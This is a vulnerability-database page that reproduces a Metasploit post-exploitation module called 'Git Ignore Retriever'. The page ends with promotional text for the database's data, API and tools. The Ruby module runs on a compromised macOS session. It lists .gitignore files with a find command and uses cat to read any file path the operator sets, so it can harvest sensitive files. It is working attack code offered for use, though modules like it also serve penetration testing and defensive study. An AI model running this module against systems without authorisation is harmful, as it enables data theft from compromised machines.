Lucene search
K

Git Ignore Retriever

🗓️ 26 May 2021 17:42:55Reported by N!ght JmpType 
metasploit
 metasploit
🔗 www.rapid7.com👁 92 Views

Git Ignore Retriever module for Metasploit to find and retrieve .gitignore file

Code
class MetasploitModule < Msf::Post
  include Msf::Post::File
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git Ignore Retriever',
        'Description' => %q{
          This module finds potentially sensitive items by finding .gitignore files.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'N!ght Jmp'],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options([
      OptString.new('MODE', [false, 'Gitignore retrieval modes: 1). Find gitignore file locations. 2). Retrieve specific gitignore/file contents', '']),
      OptString.new('FILE', [false, 'Filepath of gitignore/file to retrieve (For mode 2)', ''])
    ])
  end

  def run
    mode = datastore['MODE'].to_i
    file = datastore['FILE']
    if mode == 1
      print_status('Fetching .gitignore files')
      gitlist = cmd_exec('find ~ -name ".gitignore" 2>/dev/null').chomp
      for ignore in gitlist.split
        print_good(ignore.to_s)
      end
    elsif mode == 2
      if !file.to_s.empty?
        gitignore = cmd_exec("cat #{file}").chomp
        print_good(file.to_s)
        print_good(gitignore.to_s)
      else
        print_error('Please set the FILE path!')
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation